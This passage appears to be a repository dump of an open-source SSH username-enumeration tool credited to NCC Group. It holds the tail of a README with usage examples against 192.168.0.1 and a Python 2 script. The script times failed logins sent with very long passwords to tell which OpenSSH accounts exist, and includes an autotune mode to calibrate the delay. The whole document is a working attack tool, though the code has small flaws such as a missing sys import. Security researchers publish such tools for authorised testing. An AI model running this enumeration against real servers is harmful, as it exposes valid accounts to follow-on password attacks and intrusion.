:
5 |
6 |
7 | -h, --help Show this help message and exit
8 |
9 | -u --userlist Specify a new line delimited username file
10 |
11 | -i --ip Specify the target
12 |
13 | -m --multiplier Specify the multiplier for the password (used to cause the delay)
14 |
15 | -t --threshold Adjust the threshold according to the multipler
16 |
17 | -p --port Specify a port if the SSH service is not running on port 22
18 |
19 | -a --autotune Calculate the optimum delay/threshold
20 |
21 |
22 |
23 | Tips
24 |
25 | Running the script with just userlist and host arguments will use defaults. This will work but may not be optimal.
26 |
27 | Running the script with autotune will attempt to find the ideal multiplier and appropriate threshold:
28 | ssh_enum_v0.3.py -u users.txt -i 192.168.0.1 -a
29 |
30 | After the autotune mode has finished, it will display the multiplier and threshold. These values can be used for subsequent attacks against the same hsot:
31 | ssh_enum_v0.3.py - users.txt -i 192.168.0.1 -m 4000 -t 8
32 |
--------------------------------------------------------------------------------
/ssh_enum.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | #Released as open source by NCC Group Plc - http://www.nccgroup.com/
4 |
5 | #OpenSSH Username enumeration
6 | #Developed by David Cash
7 | #https://github.com/nccgroup/ssh_user_enum
8 |
9 | #This program is free software: you can redistribute it and/or modify
10 | #it under the terms of the GNU Affero General Public License as
11 | #published by the Free Software Foundation, either version 3 of the
12 | #License, or (at your option) any later version.
13 |
14 | #You should have received a copy of the GNU Affero General Public License
15 | #along with this program (in the LICENSE file). If not, see
16 | #.
17 |
18 |
19 | import paramiko
20 | import time
21 | from optparse import OptionParser
22 |
23 |
24 | def enumattempt(user,host, port,threshold):
25 | username = user
26 | hostname = host
27 | password = 'A'*multiplier
28 | port = port
29 |
30 | #Start time
31 | starttime = time.mktime(time.gmtime())
32 |
33 | try:
34 | ssh = paramiko.SSHClient()
35 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
36 | ssh.connect(hostname,username=username ,password=password, port=port)
37 |
38 | except paramiko.BadAuthenticationType, e:
39 | print e
40 | sys.exit(1)
41 |
42 | except paramiko.SSHException:
43 | #Finish time
44 | finishtime = time.mktime(time.gmtime())
45 | timetaken= finishtime - starttime
46 | print "User " + username + " took " + str(timetaken) + " seconds"
47 | if timetaken >= threshold:
48 | print 'User ' + username + ' exists'
49 | return username
50 | else:
51 | return
52 |
53 |
54 | def autotune(host, port, username):
55 | print "Autotuning......"
56 | multiplier = 1000
57 | hostname = host
58 | port = port
59 | autotuneusers = [username,'thisuserwillneverexistaaaaaa','thisuserwillalsoneverexistbbbb', 'thiswillalsoneverexistccccc']
60 | tuned = "False"
61 | while (multiplier < 500000):
62 | autotunetime = []
63 | password = "A"*multiplier
64 | print "Trying multiplier of: " + str(multiplier)
65 | for username in autotuneusers:
66 | #Start time
67 | starttime = time.mktime(time.gmtime())
68 |
69 | try:
70 | ssh = paramiko.SSHClient()
71 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
72 | ssh.connect(hostname,username=username ,password=password, port=port)
73 |
74 | except paramiko.BadAuthenticationType, e:
75 | print e
76 | sys.exit(1)
77 |
78 | except paramiko.SSHException:
79 | #Finish time
80 | finishtime = time.mktime(time.gmtime())
81 | timetaken= finishtime - starttime
82 | autotunetime.append(timetaken)
83 | if len(autotunetime) == 4:
84 | minlength = autotunetime[1] + autotunetime[2] + autotunetime[3]
85 | validlength = autotunetime[0]
86 | if validlength <= minlength:
87 | print "Need to increase multiplier"
88 | multiplier = multiplier + 1000
89 | else:
90 | return multiplier, validlength
91 |
92 |
93 |
94 |
95 | #OPTIONS#########################
96 | parser = OptionParser()
97 | parser.add_option("-u", "--userlist", dest="userlist")
98 | parser.add_option("-i", "--ip", dest="hostname")
99 | parser.add_option("-m", "--multiplier", dest="multiplier", type="int")
100 | parser.add_option("-t", "--threshold", dest="threshold")
101 | parser.add_option("-p", "--port", dest="port", type = "int")
102 | parser.add_option("-a", "--autotune", dest="autotune")
103 |
104 | (options, args) = parser.parse_args()
105 |
106 | if options.userlist:
107 | userfile = options.userlist
108 | else:
109 | userfile = "none"
110 |
111 | if options.hostname:
112 | hostname = options.hostname
113 | else:
114 | print "Usage: sshenum.py -u -i -a Autotune -m multiplier (optional - defaults to 20000) -t threshold -p (default 22)"
115 |
116 | if options.multiplier:
117 | multiplier = int(options.multiplier)
118 | else:
119 | multiplier = 20000
120 |
121 | if options.port:
122 | port = int(options.port)
123 | else:
124 | port = 22
125 |
126 | if options.autotune:
127 | autotuneuser = options.autotune
128 | autotune = autotune(hostname,port,autotuneuser)
129 | multiplier = autotune[0]
130 | threshold = autotune[1] - 2
131 |
132 | print "Multiplier tuned at: " + str(multiplier)
133 | print "Time threshold set at: " + str(threshold)
134 |
135 |
136 | else:
137 | if options.threshold:
138 | threshold = int(options.threshold)
139 | else:
140 | threshold = 14
141 | ################################
142 |
143 |
144 | validnames = []
145 | usernames = open(userfile).read().splitlines()
146 |
147 | print "\nStarting username enumeration\n===================="
148 |
149 | for user in usernames:
150 | validnames.append(enumattempt(user,hostname,port,threshold))
151 |
152 |
153 | validnames = [i for i in validnames if i is not None]
154 | print "\n\nThe following users were valid (settings were - multiplier of " + str(multiplier) + " and a threshold of " + str(threshold) + ":\n==========================="
155 | print "\n".join(validnames)
156 |
--------------------------------------------------------------------------------